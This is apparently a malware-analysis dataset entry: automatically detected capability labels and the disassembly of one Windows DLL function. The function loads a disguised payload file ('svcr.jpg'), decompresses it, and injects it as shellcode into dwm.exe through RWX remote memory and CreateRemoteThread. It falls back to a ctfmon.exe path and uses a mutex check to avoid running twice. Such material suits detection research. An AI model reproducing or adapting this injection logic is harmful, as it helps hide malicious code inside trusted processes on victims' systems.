Function at 0x180001b20
Capabilities:
Allocate or change rwx memory
Check mutex and terminate process on windows
Check mutex on windows
Check os version
Create thread
Enumerate processes
Execute shellcode via indirect call
Inject thread
Read file on windows
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push rbp
push rsi
lea rbp, [rsp - 0x10d8]
mov eax, 0x11d8
call fcn.180005a30
sub rsp, rax
mov rax, qword [0x1800150b8]
xor rax, rsp
mov qword [rbp + 0x10c0], rax
mov r8d, 0x104
lea rdx, [0x180015110]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 0x5c
lea rcx, [0x180015110]
call sub.msvcrt.dll_strrchr
test rax, rax
je 0x180001b77
mov byte [rax], 0
mov qword [rsp + 0x11f0], rbx
lea r9, [0x180015110]
mov qword [rsp + 0x11f8], rdi
lea r8, str._s_svcr.jpg
mov qword [rsp + 0x1208], r14
lea rcx, [rbp - 0x50]
mov edx, 0x104
mov qword [rsp + 0x11d0], r15
call fcn.1800025c0
xor esi, esi
lea r8, [0x18000de1c]
lea rdx, [rbp - 0x50]
mov qword [rsp + 0x40], rsi
lea rcx, [rsp + 0x40]
call fcn.180006170
test eax, eax
jne 0x180001ff3
cmp qword [rsp + 0x40], rsi
je 0x180001ff3
lea r8, str.kkkkkkkkkkkkkkkk
xor ecx, ecx
lea edx, [rsi + 1]
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov rbx, rax
test rax, rax
je 0x180001c12
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x180001c1e
mov rcx, rbx
call qword [0x18000d9c0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [rsp + 0x40]
xor edx, edx
lea r8d, [rdx + 2]
call sub.msvcrt.dll_fseek
mov rcx, qword [rsp + 0x40]
call sub.msvcrt.dll_ftell
mov rcx, qword [rsp + 0x40]
xor r8d, r8d
xor edx, edx
movsxd rdi, eax
call sub.msvcrt.dll_fseek
mov rcx, rdi
mov rbx, rdi
call sub.msvcrt.dll_malloc
mov r15, rax
test rax, rax
je 0x180001fe1
mov r9, qword [rsp + 0x40]
mov r8, rbx
mov edx, 1
mov rcx, rax
call sub.msvcrt.dll_fread
cmp rax, rbx
jne 0x180001fe1
mov rcx, qword [rsp + 0x40]
call sub.msvcrt.dll_fclose
mov r8d, 0x58
mov qword [0x180015100], rsi
lea rdx, str.1.3.1
mov qword [rbp - 0x80], rsi
lea rcx, [rsp + 0x50]
mov qword [rbp - 0x78], rsi
mov r14, rsi
mov qword [rbp - 0x70], rsi
mov dword [rsp + 0x58], edi
mov qword [rsp + 0x50], r15
call fcn.180003f60
mov edi, eax
test eax, eax
jne 0x180001dd1
mov qword [rsp + 0x1200], r12
mov r12, 0xffffffffffffffff
nop dword [rax + rax]
lea rax, [rbp + 0xc0]
mov dword [rsp + 0x68], 0x1000
xor edx, edx
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x50]
call fcn.180002670
mov edi, eax
cmp eax, 2
je 0x180001dbf
add eax, 4
cmp eax, 1
jbe 0x180001dbf
mov rcx, qword [0x180015100]
mov ebx, 0x1000
sub ebx, dword [rsp + 0x68]
mov rdx, r14
add rdx, rbx
cmovb rdx, r12
call sub.msvcrt.dll_realloc
test rax, rax
je 0x180001d9b
mov qword [0x180015100], rax
lea rdx, [rax + r14]
test rbx, rbx
je 0x180001d75
lea r8, [rbp + 0xc0]
mov rcx, rdx
sub r8, rdx
nop dword [rax + rax]
movzx eax, byte [rcx + r8]
mov byte [rcx], al
inc rcx
mov rax, rcx
sub rax, rdx
cmp rax, rbx
jb 0x180001d60
add r14, rbx
cmp dword [rsp + 0x68], esi
je 0x180001ce0
lea rcx, [rsp + 0x50]
call fcn.180003e20
cmp edi, 1
jne 0x180001d95
mov edi, esi
jmp 0x180001dc9
mov edi, dword [rsp + 0x40]
jmp 0x180001dc9
mov rcx, qword [0x180015100]
call sub.msvcrt.dll_free
lea rcx, [rsp + 0x50]
mov qword [0x180015100], rsi
call fcn.180003e20
mov edi, 0xfffffffc
jmp 0x180001dc9
lea rcx, [rsp + 0x50]
call fcn.180003e20
mov r12, qword [rsp + 0x1200]
mov rcx, r15
call sub.msvcrt.dll_free
test edi, edi
jne 0x180001ff3
lea rcx, [rbp + 0xc0]
mov dword [rbp + 0xc0], 0x114
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x180001f5e
cmp dword [rbp + 0xc4], 6
jne 0x180001f5e
cmp dword [rbp + 0xc8], 1
jne 0x180001f5e
xor edx, edx
lea ecx, [rdi + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180001e88
lea rdx, [rbp + 0xc0]
mov dword [rbp + 0xc0], 0x238
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x180001e7f
nop word [rax + rax]
lea rdx, [rbp + 0xec]
lea rcx, str.dwm.exe
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov rcx, rbx
test eax, eax
je 0x180001f27
lea rdx, [rbp + 0xc0]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x180001e50
mov rcx, rbx
call qword [0x18000d9c0]
mov r8d, esi
mov r15, qword [0x180015100]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x180001fdd
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov rcx, rbx
test rax, rax
je 0x180001f1a
mov r9, r14
mov qword [rsp + 0x20], rsi
mov r8, r15
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180001f39
mov qword [rsp + 0x30], rsi
mov r9, rdi
mov dword [rsp + 0x28], esi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x180001f39
mov rcx, rax
call qword [0x18000d9c0]
mov rcx, rbx
call qword [0x18000d9c0]
xor eax, eax
jmp 0x180001ff8
call qword [0x18000d9c0]
mov r8d, dword [rbp + 0xc8]
jmp 0x180001e8b
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [0x18000d9c0]
xor eax, eax
jmp 0x180001ff8
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180001fcb
lea rdx, [rbp + 0xc0]
mov dword [rbp + 0xc0], 0x238
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x180001fc2
nop
lea rdx, str.ctfmon.exe
lea rcx, [rbp + 0xec]
call sub.msvcrt.dll__wcsicmp
test eax, eax
je 0x180001fbc
lea rdx, [rbp + 0xc0]
mov rcx, rbx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x180001f90
jmp 0x180001fc2
mov esi, dword [rbp + 0xc8]
mov rcx, rbx
call qword [0x18000d9c0]
mov rcx, qword [0x180015100]
mov r8d, esi
mov edx, r14d
call fcn.1800017f0
xor eax, eax
jmp 0x180001ff8
mov rcx, qword [rsp + 0x40]
call sub.msvcrt.dll_fclose
mov rcx, r15
call sub.msvcrt.dll_free
mov eax, 1
mov r15, qword [rsp + 0x11d0]
mov r14, qword [rsp + 0x1208]
mov rdi, qword [rsp + 0x11f8]
mov rbx, qword [rsp + 0x11f0]
mov rcx, qword [rbp + 0x10c0]
xor rcx, rsp
call fcn.180005b10
add rsp, 0x11d8
pop rsi
pop rbp
ret